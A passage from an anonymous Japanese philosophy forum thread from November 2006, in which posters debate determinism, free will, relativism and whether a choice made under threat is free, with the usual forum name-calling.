例えばライフスペースは「定説」という言葉を使用したが、これは「定説」という言葉に「真理」理念と同等の意味を付与したにすぎない。
「真理」「正義」という言葉を使用せずとも、「わたしは知っている」という態度をとる時、
われわれはファシズムへの一歩を踏み出しているのではないだろうか?
ソクラテスの「無知の知」のごとく「わたしは知らない(そしてそのことを知っている)」と言う態度が
自らがファシズムに陥ることを防止する態度なのではないだろうか

相対主義が昨今の流行であるようだし、この板にも相対主義的言説があふれている
そして相対主義が正しい可能性は大いにある。
(合理主義を含めて)何一つ正しいと大手を振って言えるようなものはない。
しかし、自らの信奉する主義に対して自己批判的態度を持たないならば
相対主義と言えどもファシズムに陥る可能性はあるのではないだろうか。
(相対主義は自らが無謬であるという独善的態度を強化するロジックをもつという研究もある。)
相対主義者は、その実、彼らが最も忌み嫌うはずの独断主義者と同じ振る舞いをしているのではないだろうか?


309 :ゾルレン:2006/11/15(水) 03:32:54
今日は機嫌が悪いんで口調が悪いかもしれん
ちょっと不満を爆発させる
許せ

俺は哲学プロパな問題を好む
形而上学を積極的に承認し、古典を読み、哲学的問題についてあれこれ考えることを好む人間だ
今日においてはむしろレアな存在だろう
別に「真理はない」というスタンスの上に新しい哲学をつくれるかもしれない
そのような新しい哲学の可能性は大いにあるし、そのような営みの邪魔をするつもりはない
だが「真理はない」というスタンスをもつ人間が行うのはまるでアナーキストのような破壊だけだ
理想しか受け入れられないような夢想者のごとき破壊(昔、ロスでのアナキズムの破壊活動の映像を見たが、それを思い出させる)
それが理想を実現するとしても、その理想に他人をつきあわせる権利がどこまであるというのだろう

「哲学はイデオロギー批判」という言葉を前スレで見たが
別にその人がそう考えても良いが、俺はそうは思わないし、自分の考えを他人に押し付けてほしくない
それこそ、本に書かれた「哲学はイデオロギー批判」という言葉をそのまま鵜呑みにして他人に押し付けているのではないだろうか
「哲学はイデオロギー批判」という言葉がイデオロギーになっているのではないだろうか

少し鬱憤が晴れた
終り

310 :考える名無しさん:2006/11/15(水) 03:44:38
統計だと、今の小学生の60%は一回死んでも、また生き返ること
が出来ると信じているそうだね。彼らは生まれ変わりや死後の世界も
信じている。
俺にはその感覚は理解できないけど、小学生は漫画の読み過ぎか。
それとも細木や美輪明宏や江原の影響かな。このスレにも、その類の
人がいるね。最高位と自称するキチガイ。

311 :不肖 ◆VpKHzOu04Y :2006/11/15(水) 04:25:23
遅レスの恥を忍んで書くけど
>>260
>>244の質問は、
「天文学的な数(数多)存在する飲料(缶)のうち、
あなたが手にしているその缶がそこに在ることを
決定論的、もしくは機械論的に予測可能だったということを説明せよ」
って事じゃないかな?

私は、このスレを読む前までは予測可能だと思っていたのだけど。

○人間の思考が予測可能だったと仮定すると

工場で生産された時点で、それが何番目(便宜上このように書く)だったかによって
どの箱に詰められるか、どの地域に配送されるか、自販機の何番目にセットされるかは
予測可能

そして、人間の思考(行動)が予測可能であったなら、
その人(仮に第二唯物論氏)が買いに行く順番も予測されている。


で、その仮定がテーマですよねえ。
実際には、自販機にセットしたのも人間だし、
例えば、自販機に詰める人間が、不図、順番を入れ替えるかもしれないし。

312 :考える名無しさん:2006/11/15(水) 08:17:13





ニートと呼ばれる無職の増加と

社会保険制度の関連性についてお話を聴かせてください





313 :35:2006/11/15(水) 08:17:23
携帯からなのであまり大きな文章書き込めませんが、

ひとつ誤解を指摘しておきたいのだが、俺の示す世界や限界というのは
思考の限界を示すものであって、認識の限界を示すものではないのです。

だから、俺のいう限界はそもそも自然科学、哲学にかかわらず、
その根本をなし、限界を規定するものであるということです。

上にも書いているとおり、四角い三角を人は思考することはできません。
それはある形式によって成り立つ内的性質がそうさせているのです。

だから、認識できないから確定できないものと、そもそも思考できないものは
明確に区別されます。前者は形而上学的な命題ですが、
後者は基本的にナンセンスです。


314 :35:2006/11/15(水) 08:26:37
さて、以上を踏まえた上で自由意志に関する見解を述べると

自由意志を『証明すること』は上記の限界により不可能。
しかし、自由意志が存在しないという事実を思考するのは、辛うじて可能。
また、自由意志が存在するという論についてもそれは同様です。

だから、これはあくまで形而上の問題なのです。

315 :素人 ◆YLdWB0/d2s :2006/11/15(水) 08:34:53
>>220
>珍しく鋭い知見をちらつかせてもいますね
珍しいかどうかはともかく(爆)、鋭いかねぇ・・(^^;
私のスタンスの変わらなさは、機械とどっこいどっこいで最高位と同じくらい頑なだが・・・w

>>290
>素人さん、負けましたね。
ああ、確かに・・w  彼の年頃には、
自分の境遇に対して、責任転嫁によるあきらめと逃避というテキトー毎日を送ってたからなぁ・・・
未だにそうかもしれん・・w ヽ(゚∀゚)ノ アヒャ

因みに、ずっと七誌だったので判り易くまとめておく。
>>84>>92>>153>>164>>172>>186>>210

316 :素人 ◆YLdWB0/d2s :2006/11/15(水) 08:36:16
>>94もだな

317 :35:2006/11/15(水) 08:41:41
もう一つ。結局のところ、決定論を論じること、また自由意志を
論じることの問題点は『それを論じる私、または我々』
という例外的存在を潜在的に認めなくてはならないことにあるのです。

だから、このように命題がその例外の存在を認めない場合には
その帰結はナンセンスであるということになるのです。
一般的な思考では問題はないのですがね。今回の命題は思考や精神の根本を規定するものであるから
ゆえに、特別なのであり、問題が生じるのです。

318 :考える名無しさん:2006/11/15(水) 10:41:12
>>304
>小さなヨハネ
おまえこんなことばっかやってるとホント地獄に堕ちるよ?

319 :考える名無しさん:2006/11/15(水) 11:34:30
>>317
決定論というのも一つのモデルに過ぎないんですよ。
世界の外側に立つのが不可能だからといって、決定論や唯物論が不可能ということにはならない。
要は「モデルとして役に立つかどうか」が問題なのであって、
「本当に正しいか」は確かめようがないから問題になりえない。

320 :考える名無しさん:2006/11/15(水) 11:36:31
もうチビはこの世の地獄に落ちている。彼の心は言い知れぬ悪意にまみれてしまっている。
悪意地獄のなかから、あがきまくっているのがチビだ。こちらとしては、とんだトバッチリ
ではあるが。

321 :考える名無しさん:2006/11/15(水) 12:05:25
>>317
あと、自由意志は普通に否定できるでしょう。
難しく考えすぎでは?

322 :考える名無しさん:2006/11/15(水) 12:20:46
>>321
自由意志が否定されたことなんてないのだが

323 :考える名無しさん:2006/11/15(水) 12:23:52
>>322
んなこたーない
勉強不足では?

324 :考える名無しさん:2006/11/15(水) 12:32:06
>>323
否定している意見はどれもが、はぁ?ってのばかりなんだけど


325 :考える名無しさん:2006/11/15(水) 12:33:20
>>324
お前の理解力が足りない可能性もあるよな。

326 :考える名無しさん:2006/11/15(水) 12:35:03
>>324
否定している意見を読んだことがあるのに
「自由意志が否定されたことなんてないのだが」
なんて言っちゃうところからして、どうもね

327 :考える名無しさん:2006/11/15(水) 12:45:28
>>326
おいおい、それじゃタダの文法問題でしょうが、
どんなことだって「否定すること」だけはできる、
そんなあたりまえのことは言っとらんがな

328 :考える名無しさん:2006/11/15(水) 12:48:26
>>327
じゃああなたの気に入らない「自由意志の否定」ってのはどんなのなの?

329 :考える名無しさん:2006/11/15(水) 12:52:41
例えばここ↓

http://ja.wikipedia.org/wiki/%E8%87%AA%E7%94%B1%E6%84%8F%E5%BF%97

自由意志を否定するだけの根拠が何か足りないんだよね

330 :考える名無しさん:2006/11/15(水) 12:55:26
>>329
wikipedia持ってきて批判してもしょうがないでしょ。
単にこういう意見があるって紹介してあるだけなんだから。
もっと本格的な議論は読んだことないの?

331 :考える名無しさん:2006/11/15(水) 12:56:19
ちなみに俺が自由意志は否定しにくいと思うのは、
最後の方にあるこの記述。

>哲学者によっては、「自由意志は精神を持つことと同義であり、
>従って(少なくともいくらかの)動物は自由意志を持たない」と信じているものもいる。

動物がどうとかはどうでもいいんだけど、
「自由意志は精神を持つことと同義」という意見にはとても納得がいく。



332 :考える名無しさん:2006/11/15(水) 13:00:00
>>330
ネットに出てる大方の意見は読んだし、
ダニエル・デネットの「自由は進化する」は読んだ。
それとこのスレw


333 :考える名無しさん:2006/11/15(水) 13:16:08
333

334 :不肖 ◆VpKHzOu04Y :2006/11/15(水) 14:25:15
例えば、私がAとB、二つの座布団を持っていたとして、
Bは、経験的に座り心地が悪いので、Aを常用していたとします。

論点@
1、Aという選択は、当人の自由意志に依っている。
2、当人の意思は、Bの座り心地の悪さに影響されているので、自由意志ではない。

仮に、1だったとすると、
もし、犯罪を犯さないと殴ると言われた場合に、犯罪を犯すのも自由意志となるのだろうか?
殴られると言う不快感(心地の悪さ)を避けようと言う選択は当人の自由意志、
座布団Aを選ぶのと変わらない?

335 :考える名無しさん:2006/11/15(水) 14:28:31
http://up.mugitya.com/img/Lv.1_up62850.jpg

336 :不肖 ◆VpKHzOu04Y :2006/11/15(水) 14:36:48
>>334
さっきの座布団に関して

論点A
ある日、不図(※1)、Bを使いたくなって、Bを使ったとします。
1、この時、当人の意思は、何の原因もなく起こりうる(※2)→自由意志
2、当人には根拠なく起こったように見えても、原因(※3)が必ずある→機械論的決定論

※1 決定論なら、「不図」って言葉は有り得ないけどね。
※2 常に原因が無い必要は無いよね。
※3 例えば「昼に量販店でBと同じ座布団を見た」とか、
   「脳のある物質が過去のBに関する記憶を呼び覚ますべく動いた」といった原因

これは、解らんよう。けど、厳密な意味での
「全てからの自由意志」は、むしろ、存在し難いようには感じる。

337 :考える名無しさん:2006/11/15(水) 14:41:53
>>332
じゃあ、ごく単純な議論
「決定論を文字通りに認めれば自由意志は存在し得ない」
についてはどう反論する?

338 :考える名無しさん:2006/11/15(水) 15:02:01
>>337
「決定論を認めれば自由意志は存在しない」には同意するよ。
反論の余地はない。
まあ、逆説的なんだが、自由意志は存在していると確信しているから、
決定論には賛成できないってところか。
両立論には納得がいかない。


339 :考える名無しさん:2006/11/15(水) 15:06:24
>>334
まず、論点@の2は自由意志を否定するレトリックとしてはありふれているけれど、問題にならないだろう。
行為を選択する際にいろいろな影響が存在することは前提された上で自由意志の議論はされてると思う。
この議論のレベルでは1が採用されるはずだ。

で、後半の場合は自由意志とはならない。
座布団の場合と違って犯罪を犯すことを他人に強制されているから。

>>336
論点Aにおいては2を採用する。
ただ、これを決定論と結びつけるのはちょっと違うと思う。
独立した意志により選択されたように見えても実はその意志は物理的な存在者で物理法則に規定されているという考え方が今自由意志の問題で議論されていることの中心だと思う。

これは俺の私見だけど、論点@の議論は自由意志対決定論で論点Aは自由意志対唯物論の構図になってると思う。
仮に対決定論戦において自由意志が勝利しても対唯物論戦においては自由意志は敗れることになるんじゃないかと思うがどうか?

340 :考える名無しさん:2006/11/15(水) 15:10:10
> もし、犯罪を犯さないと殴ると言われた場合に、
> 犯罪を犯すのも自由意志となるのだろうか?

サルトルは、それも自由意志による行為だと言う。
現代のより冷静な哲学者なら、
殴られるのを恐れて恐慌状態で行ったのなら
自由意志による行為ではないが、
殴られることと犯罪を犯すことの利害損得を冷静に計算して
後者を選択したのなら自由意志による行為だ、と言うみたい。


341 :考える名無しさん:2006/11/15(水) 15:12:33
>>338
>まあ、逆説的なんだが、自由意志は存在していると確信しているから、
>決定論には賛成できないってところか。

って意見から

>自由意志が否定されたことなんてないのだが

なんて発言が出てくるのか。
まじめに相手して損した。

342 :339:2006/11/15(水) 15:13:17
ごめん、今見なおしたら論点Aの2は論点@の2の言い換えだね。
>>339の、
>論点Aにおいては2を採用する。
>ただ、これを決定論と結びつけるのはちょっと違うと思う。
この二行は削除します。

343 :不肖 ◆VpKHzOu04Y :2006/11/15(水) 15:27:03
>>339
>で、後半の場合は自由意志とはならない。
>座布団の場合と違って犯罪を犯すことを他人に強制されているから。

「殴る」という強制(に近いもの)と、
「座り心地の悪さ」という強制の明確な境界が存在しないと
1と犯罪の強制は、区分できないと思うのですが。

例えば
「殴る」という条件は、人間が確実に持っている生存の欲求に反する結果を生む。
よって、当人の選択は確実に限定されるから、自由意志ではない。

等と言えるだろうけど、仮にこの例を進めていくとして、
何処かに「自由意志」と「強制的な行動」の境界があるはず。

344 :考える名無しさん:2006/11/15(水) 15:39:40
>>340
サルトルの意見に賛成だ
どんな状況にあろうと拒否できるものは拒否できる
最終的に犯罪を選んだのは自由意志だと思う


345 :339:2006/11/15(水) 15:45:56
>>343
犯罪を犯すことは強制されてるけど座布団に座ることは強制されてないじゃん。

あと、確かに自由とそうでないものとの間に明確な線はひけないと思うけど、
でも両者の区別はつけられると思うけどなあ。

346 :不肖 ◆VpKHzOu04Y :2006/11/15(水) 15:55:08
>>345
>座布団に座ることは強制されてないじゃん。
何を持って強制されてないというのか?

「犯罪を犯さないと、殴られて痛いぞ」
「Aに座らないと、気持ち悪いぞ」

どちらも、不快感を元に仕向けられている。
片方を自由意志と呼び、片方を強制と呼ぶのはそんなに簡単じゃないと思う。

347 :339:2006/11/15(水) 16:05:22
>>346
> 何を持って強制されてないというのか?
いや、現に強制されてないじゃん。

強制されてるといえるのは「Aに座らないと、気持ち悪いぞ」と働きかけされてはじめてそう言えるんだろ?
座布団の例が「Aに座らないと、気持ち悪いぞ」と言われたのであればもちろん自由意志は疑われるがそうはなってないだろ?

348 :考える名無しさん:2006/11/15(水) 16:05:51
>>346
選択するということは、強制とか周りの条件には関係ないと思う。
純粋に二者択一を行うということだけで、
座布団Aか、Bか。犯罪を犯すか、犯さないか、ということだけ。
AかBか、どちらも可能性があるなら、自由意志。
強制されたって、犯罪に手を染めない人間は決して染めない。


349 :不肖 ◆VpKHzOu04Y :2006/11/15(水) 16:20:26
>>347
それは、他者の存在が有るか無いかの差異でしょうか?


ここでは、論点Aに繋げるために、Bは座り心地が悪いだけでしたが、
例えばBが針のムシロだったとしても、Aを選ぶのは自由意志?

350 :考える名無しさん:2006/11/15(水) 16:24:28
論点がくだらん

351 :339:2006/11/15(水) 16:37:10
>>348
関係ないことはないと思う。
むしろ関係があることを前提にしてこれが線引きの問題ではなくて配分の問題であることが議論を難しくさせてるんじゃないかと思う。

俺も不肖が言いたいことがわからないわけじゃないんだけど。
詳しくは知らないけど最近でもマクドナルドの椅子の硬さがどうとかで議論されてるんでしょ?

>>345でも書いたけど、自由とそうでないものの明快な線引きは難しいだろうけど、
でも座布団と犯罪の例は行為者と同レベルの存在者からの働きかけがあるという点で白黒区別がつきやすい例だと思うが。
もちろんそれでも例えば、そもそも行為者が以前から犯罪を犯すことを望んでいてたまたま殴ると脅されただけという自由意志の擁護もできるだろうけど。

352 :考える名無しさん:2006/11/15(水) 16:51:36

現在のテーマ:神学論争
「神は人間に自由意志を与えたのか?!」


 

353 :不肖 ◆VpKHzOu04Y :2006/11/15(水) 16:59:51
自分の間違いに気付いてしまいました。
座布団と犯罪には、明確な差が有ったことに!

座布団の例では、Aを選ぶことを嫌う原因が無いのに対して、
犯罪と殴られるの二択は、どちらも好まれない中からの選択になってますよね。

犯罪はしたくない、けど、殴られたくない
これを自由意志と呼ばないという論理もあると思います。


orz

354 :339:2006/11/15(水) 17:05:57
>>353
そうだよね。
もし、座布団の例を自由意志の議論用に作りかえるとしたら以下のようになると思う。

俺はふかふかの座布団と針のむしろを前にしてこう言われた。
「ふかふかの座布団に座れ。さもなくば殴る。」
俺はふかふかの座布団に座った。
果たしてこれは自由意志か否か。

355 :考える名無しさん:2006/11/15(水) 17:19:15
自由意志の定義をしっかりしてから議論してくれ。
でないと、定義しだいではあるとも無いとも言えそうだ。

ただ、自由意志の定義に関係なく決定論は成立するし、未来は決まっているけどな。

356 :考える名無しさん:2006/11/15(水) 17:37:54
だから言ってるじゃん。
こんな例は自由意志には関係ないんだってば。
339と不肖は馬鹿だね。

357 :考える名無しさん:2006/11/15(水) 18:18:53

ココは池沼の吹き溜まりですね。

358 :考える名無しさん:2006/11/15(水) 19:13:25
昔このスレにポコ君という奴がいたが、決定論についてはポコ君が一番だった。
ポコ君はどこに行ってしまったんだ?

359 :小さなヨハネ ◆1oKmZSIAF. :2006/11/15(水) 19:28:58
>>318 :考える名無しさん :2006/11/15(水) 10:41:12
>>304
>小さなヨハネ
>おまえこんなことばっかやってるとホント地獄に堕ちるよ?

>>320 :考える名無しさん :2006/11/15(水) 11:36:31
>もうチビはこの世の地獄に落ちている。彼の心は言い知れぬ悪意にまみれてしま
>っている。悪意地獄のなかから、あがきまくっているのがチビだ。こちらとし
>ては、とんだトバッチリではあるが。

ワトソン:おい、どうして小さなヨハネがやってもいないことをそんな風に言う
     んだ?
ホームズ:かなり重症だね。
ワトソン:大の大人が人に濡れ衣を着せておいてそれを非難するなんてことが
     あるのか。
ホームズ:うーん・・・。
ワトソン:悔い改めた方がいいぞ。

360 :35:2006/11/15(水) 19:52:06
自由意志の反証やってんの?んじゃ、俺がもっともなるほどとおもったやつを紹介させてくれ。

http://www.h5.dion.ne.jp/~terun/doc/jiyuu.html

自由意志の否定する、ということについてはこのページがもっとも秀逸だとおもふ。

361 :35:2006/11/15(水) 20:03:36
> 決定論というのも一つのモデルに過ぎないんですよ。
世界の外側に立つのが不可能だからといって、決定論や唯物論が不可能ということにはならない。
要は「モデルとして役に立つかどうか」が問題なのであって、
「本当に正しいか」は確かめようがないから問題になりえない。

正しいかどうかなんてどうでもいいの。問題はその「モデル」に観測者としての我々自身が含まれてること。
そのことが問題を引き起こすって採算くりかえしてんだろ。
あんたの言ってることなんて前提のうちの前提であっていまさら論じる価値も無い。
そんな初歩的なことも理解できないのであれば口を出さない方がいいよ。

「白いカラス」はいるかどうかわからない。世界中探せば存在するかもしれない。
でも「丸い三角」とか「痛いりんご」とか「速い十六茶」とかは存在するはずがない。
俺がいってるのはそのレベルの思考の限界としての論理的エラーなのね。
別に「虹色のりんご」とか「硬い菅原文太」とか、そういうものを否定してるわけじゃないのです。
「正しいか、正しくないか」じゃないの「正しいということが成立するか」ということなの。

362 :考える名無しさん:2006/11/15(水) 20:06:15
>>360
でも犯罪で考えると犯罪を犯すのは合理的じゃないのに
それでも犯す人がいるのはなぜだろうか?

363 :339:2006/11/15(水) 20:08:18
>>360
俺はそのページのような「自由意志の否定」とやらが一番つまらないと感じるな。

まず、自分の選択の理由がわからないことは自由意志が存在の否定にはならない。
それから、合理的な理由に基づいて選択することはそれをそのまま自由意志の定義にしても良いくらいで、
それでは自由意志の説明にしかなってない。

364 :考える名無しさん:2006/11/15(水) 20:39:19
>>359
言語学の常識として、ある言葉(日本語)は思想であるということです。
異教徒の言葉を使うあなたは知らずに異教徒の思想に染まっているのです。

365 :35:2006/11/15(水) 21:03:33
>>363
>合理的な理由に基づいて選択することはそれをそのまま自由意志の定義にしても良いくらい

だからもっとよくヨメ。

結局合理的であろうとなんであろうと、その判断になぜ従ったのか?
また、その判断に従ったという判断になぜ従ったのか?
さらにその判断に従うという判断に従うという判断に・・・

となっていけば、ある時点で「なぜ選んだのか?」という問いに答えられなくなる。
ある時点では、ある判断に対して”盲目的に従う”という地平があるんだよ。

因果律に反した(つまり、合理的理由もなくなんとなく選んだ)ものは「自由意志」と呼べるのか?
またある因果律(つまり、特定の理由)に”盲目的に”従ったものは「自由意志」と呼べるのか?

それこそが問題なのだ。

366 :考える名無しさん:2006/11/15(水) 21:04:39
>>361
レスアンカー入れようぜw

367 :35:2006/11/15(水) 21:05:01
訂正

> また、その判断に従ったという判断になぜ従ったのか?

また、その判断に従うという判断になぜ従ったのか?

368 :考える名無しさん:2006/11/15(水) 21:15:02
合理的な理由と言っても、別角度からよく見れば不合理にも見える。
結局そいつの脳が、合理的なように感じたという事だろうな。
自由意志つうより脳の意志だろう。

369 :339:2006/11/15(水) 21:21:14
>>365
そのページは良く読む必要はない。すっきりした日本語で書かれているからちょっと読めば良くわかる。
一方、君の文章はよく読めば読むほどわからない。多分君自身が良くわからないで書き散らしてるから。

合理的な理由に従ったのはそれが合理的だったからであって「盲目的に」従ったわけじゃない。
言葉が組み合わせられるからといって意味が通る文になるとは限らないよ。

370 :考える名無しさん:2006/11/15(水) 21:26:18
所詮、それ(そのような心的状態(判断))を
『「自由意志」と呼ぶかどうか』にしか過ぎないと思うわけで・・・w
          ^^^^^^^^^^
で、その線引きの基準をどこに置くか?
具体例を数多く挙げていって、
「この辺がいいんじゃね?」とするよりないんじゃないかな。
勿論、
A、総合的事象(トータルな意識)として
B、脳内の物理的現象(生理的反応)として
と、2項目あるだろうが・・・。

371 :考える名無しさん:2006/11/15(水) 21:30:13
>>369
そうか?
35の言ってること良く分かるがなぁ

>合理的な理由に従ったのはそれが合理的だったからであって「盲目的に」従ったわけじゃない。
ここはおかしいよ
合理的だったから従ったでは理由にならないでしょ
合理的だろうが合理的じゃなかろうが、理由は分からないんじゃないの?

372 :35:2006/11/15(水) 21:33:09
>>369
> 合理的な理由に従ったのはそれが合理的だったからであって「盲目的に」従ったわけじゃない。

合理的な理由に従わないという選択もあったのに、なぜそれに従わなかったの?

それとも「合理的な理由であるならば、絶対に従わなければならない」という
”絶対的な規則”でも存在するのかい?もっと厳密に物事を考えてみてくれ。

俺は

『「ある選択に従う理由」として「合理的であるから」では不足する』

と考えているのだよ。
なぜなら「合理的選択に従わない」という”選択”も存在していたのだからね。

逆に「合理的理由があったから従った」ということが論理的に成立するならば、当然その裏には
「合理的な選択には盲目的に従うべきである」という前提が隠れている。
これは果たして「自由な選択」といえるのですか?

まあ、一番俺が言いたいのはこのぐらいの簡単な導出も理解できない人間が
他人の理解力に疑問を唱えるなど、はなはだ馬鹿らしいということなんだがな。

373 :339:2006/11/15(水) 21:39:25
>>371
俺は6k程離れたところに自転車通勤してる。
車は持たないし、歩くにはちょっと遠い。
最初から飛行機で通勤する可能性はなかった。合理的じゃないから。

>>372
絶対的な規則が存在するなんて言ってないだろ。

374 :35:2006/11/15(水) 21:43:53
>>373
> 絶対的な規則が存在するなんて言ってないだろ。

だからもっとよく頭を働かせろ。脊髄反射のレスを返すことだけが能じゃないだろ。
そもそも「選択Aに合理的であるから従った」という命題は

「選択Aは合理的な選択である」
「合理的な選択には従うべきである」
「だから選択Aには従うべきである」

というように分解されるんだよ。ここで問題なのは上から二つ目だ。
「合理的選択には従うべき」という論理形式が存在しているのだとしたら、
合理的な選択とは結局この論理形式に従ったにすぎないということになる。
これは「自由な選択」といえるのかと、俺は問うているのだよ。

375 :考える名無しさん:2006/11/15(水) 21:45:58
>>372
>「合理的な選択には盲目的に従うべきである」という前提が隠れている。

俺はそう考えてる
けど、それに逆らう人間がいるのはなぜだろうか?


そしてどちらも選ばないという選択も可能ではないのだろうか?

そして自分もそういう行動を起こし得るのはなぜだろうか?



376 :35:2006/11/15(水) 21:49:36
>>375
だからジレンマがあるのですよ。

「なんらかの理由に従ったのなら、それはその理由に盲目的に従ったということ」
逆に
「なんらかの理由がないというのなら、それは自由な選択とはいえない」

よって、自由意志は成立しえない、というのがもっとも単純化された自由意志への反証です。
まあ、これで簡単に否定できるほど自由意志というのは単純じゃないですが、
339氏程度の論客を言い負かすにはこの程度の反証で十分なわけです。

377 :339:2006/11/15(水) 21:57:47
もうなんといって言いのかわからない。
事実命題から当為命題を導出できるとかいうならまだしも、事実命題が当為命題を含む文に分解されるなんてどういうことだろう。
まあそれはいいとして。

もちろん「合理的選択に従わないという選択」も存在するんだよ。(選択可能性の原理)
ある選択に際して君は合理的と考えられる選択を行った。
なぜなら君は「合理的な選択には盲目的に従うべきである」という信念の持ち主だからだ。
その選択は盲目的であった。
にもかかわらずその選択は自由意志による。
なぜなら君が決めたことだから。

このような状況を自由意志による選択と言う。
これは自由意志の説明・議論の出発点でしょ?
これを前提にして「だがその自由は本物か」と問うのが自由意志の議論じゃないの?

378 :考える名無しさん:2006/11/15(水) 22:03:11
>>377
それもそうだな。

379 :考える名無しさん:2006/11/15(水) 22:04:35
当為命題なんて無いでしょ
単に動機付け出来ない地平を示しているだけ

380 :考える名無しさん:2006/11/15(水) 22:13:17
>>305
一読「ごもっとも」である。が、そう言ってしまえばおしまいなので、少しく
突っ込んでみる。
あなたの述べるように「正義がエゴイズムを禁止する形式」だとする。では、
この形式を是とする集団(組織)はどこに存在するのか。
現実には、いかなる集団も自らの利益拡大を“正義”としているのではない
か。国家、党派、宗派、企業、ヤクザ組織等々…。集団的エゴの拡張こそが
その組織の存在理由(正義)であり、そこに例外はみられない。

皮肉なのは、それに寄与することが個々の成員にとってはエゴの揚棄を意味
することだろう。国家のために、党派、宗派、会社、組のために、しばしば
人はその身を投げ出す(時には、相手を殺す)。このとき、もしかすれば深い
快感とともに正義の実践感覚をも体得できるのではないか。

酔っているのでこの辺でやめますが、ゾルレンさんの「正義」観は解体され
つくし、建て前ですらなくなっているのではないか、ということです。




381 :考える名無しさん:2006/11/15(水) 22:15:17
最近の酔っているって建前は何を意味しているのかっていうのは
哲学の対象になりますか?

382 :35:2006/11/15(水) 22:24:28
>>377
ちょっと適当すぎたか。訂正。

「選択Aには従うべきである」なぜなら「選択Aは合理的であるからである」

の影には

「合理的選択には従うべきである」

が隠れているというなら文句は無いだろう。んで、

> これを前提にして「だがその自由は本物か」と問うのが自由意志の議論じゃないの?

その通りだけども、ここで俺が問題としているのは端的に言えば「外的な原因なき選択」は存在するのか
って単純な問いだよ。あなたも思ったより全然話がわかるみたいだから、この一言でわかるでしょう?
俺は存在しないと考える。そして、「外的な原因に従った」としたらそれはあくまでブラックボックスとしての
機能を果たしただけであり、それは自由意志とは”思えない”。
まあ、あと自由意志を否定した上でも結局人は自由意志的に振舞うしかないとも思っているが。

383 :考える名無しさん:2006/11/15(水) 22:28:06
>>381
・アルコールを(体が)欲する事
・アルコールを(心が)欲する事
・『酒』を欲する事
・『ほろ酔い』を欲する事
・『酩酊』を欲する事
これらは全て別の事柄だよw

【徹底】お酒はなぜ欲しくなるのか?【検証】
なんてスレが必要かもな(爆

384 :考える名無しさん:2006/11/15(水) 22:30:02
>>382
俺もそんな感じだな

385 :35:2006/11/15(水) 22:30:08
>>382
もう一個補足するならたとえ外的原因のない選択があったとしても、そりゃ自由意志によるものだとは
俺には認められない。

つーかあれだ。久々にあやふやなところ予習しながら書き込んだから疲れた。

386 :考える名無しさん:2006/11/15(水) 22:32:00
ってか、近代哲学だと、その辺のことに気付いてるから(中世とは対照的に、
古代の哲学もそれに気付いている)、自由意志ってそういう定義の仕方を
しないよね。

387 :前擦腺 ◆BovECr9/c2 :2006/11/15(水) 22:39:11
もっと簡単に考えると、大脳の機能というのは全て化学的あるいは電気的な反応による訳です。
これらは、当然因果律には従う。
大脳のレベルで量子力学的な反応があまり問題になるとは思えません。

「自由意志」というのは、その脳が因果律によらない形で、何らかの行動や思考を発生させる場合に限ると思います。
「選択」という行為にしても、「完全に全てから自由な形で、どちらかを選べる」という状況は因果律の中からは生まれません。

さらに、確率論的な決定論を採用するにしても、結局大脳が自ら確率をコントロールできるなどということは有り得ず、
いずれの場合にも、「自由意志」などというものの根拠になるものは存在しません。

こうした、「化学反応のカタマリ」に自由意志を発生させることなどそもそも不可能ではないか、
というのが問いな訳です。

>>317
>もう一つ。結局のところ、決定論を論じること、また自由意志を
>論じることの問題点は『それを論じる私、または我々』
>という例外的存在を潜在的に認めなくてはならないことにあるのです。

>だから、このように命題がその例外の存在を認めない場合には
>その帰結はナンセンスであるということになるのです。

これもおかしいでしょう。
決定論的過程の中で、人間が自由意志について論じるという過程が必然的に発生した、と考えることもできます。
「論じる」という際に、別に自由意志を持っている必要はありません。
全て丸ごと「決定論の中」にあるとしても良いのです。

いつも肝心のところに問題があります。

388 :考える名無しさん:2006/11/15(水) 22:43:33
色んな角度から意見が出てくるのはいいね

389 :考える名無しさん:2006/11/15(水) 22:46:29
>>385
>>370については感想を頂けないのですか?

>>380
>>381みたいなこと言われてるぞw
盃を高く掲げ、胸を張って、飲み干そうではないかw

390 :考える名無しさん:2006/11/15(水) 22:47:10
>>381
したければ、なるんじゃないの?

391 :考える名無しさん:2006/11/15(水) 22:48:33
マッチョイズム的な臭いを感じます・・・

392 :35:2006/11/15(水) 22:57:34
>>387
> 決定論的過程の中で、人間が自由意志について論じるという過程が必然的に発生した、と考えることもできます。
「論じる」という際に、別に自由意志を持っている必要はありません。
全て丸ごと「決定論の中」にあるとしても良いのです。

その通りですね。俺がちょっとあやふやでした。

>>370
まったくもってその通りでは?としかいいようがないです。申し訳ない。
ただ具体例とか挙げつくした感があるし、それでもまだループしてるところはしてるし、
結局自由意志を否定しても、自由意志的な選択を放棄できるわけじゃないし、
いまさらそれをやるかっていうと、俺個人は勘弁してくださいと言いたいです。受験生だし。

393 :考える名無しさん:2006/11/15(水) 23:11:12
>>389
毎日、飲んでいますが、本物の酒飲みではありません。おいしく「食べる」
ために、呑んでいます。
ところで、前擦腺君は相変わらず“原理主義者”らしい言辞を弄していま
すね。これはこれで立派な意見ですが…。

394 :考える名無しさん:2006/11/15(水) 23:16:04
もしかしたら、>>35 は10年くらい浪人しているのかもしれませんね。
この調子だと、来年も危ない感じ。

395 :考える名無しさん:2006/11/15(水) 23:18:42
>>394
美大かよwww

396 :35:2006/11/15(水) 23:24:26
現 役 だ よ wwww

397 :考える名無しさん:2006/11/15(水) 23:24:33
>>392
>ただ具体例とか挙げつくした感があるし、
具体例を挙げる事に関しては、文章の組み立て具合で入れただけで、
必須の作業ではない。少なくともBに関しては単に線を引くだけでいい。
勿論、Aに関してはそう単純にはいかないだろうが、
具体例を挙げる代わりに大きな括りを用いてもいい。
あ、そうか、
その大きな括りの内容を炙り出す作業が、具体例を数多抽出する事に他ならないわけか・・・w


>>393
>本物の酒飲みではありません。おいしく「食べる」ために、呑んでいます。

(´・ω・`)ショボン

398 :考える名無しさん:2006/11/15(水) 23:27:00
だから自由てなに?

399 :考える名無しさん:2006/11/15(水) 23:31:57
>>398
はじめてのおつかいじゃないが、
子供にお使いを頼んだとする。
要所要所で出会う人に、「このように仕向けてください」とあらかじめ伝えておく。
子供は、全ての行程を、自身が一人でやり遂げたと思うだろう。
さて、その子の行動は自由なものであったのか?
誘導されたものに過ぎなかったのか?


自由かどうかなんて、主観的な受け止め方でしかないんだよ。

400 :考える名無しさん:2006/11/15(水) 23:32:35
>だから自由てなに?
二つの視点があると思うわ。
(1)やりたいことができるということ、と〜
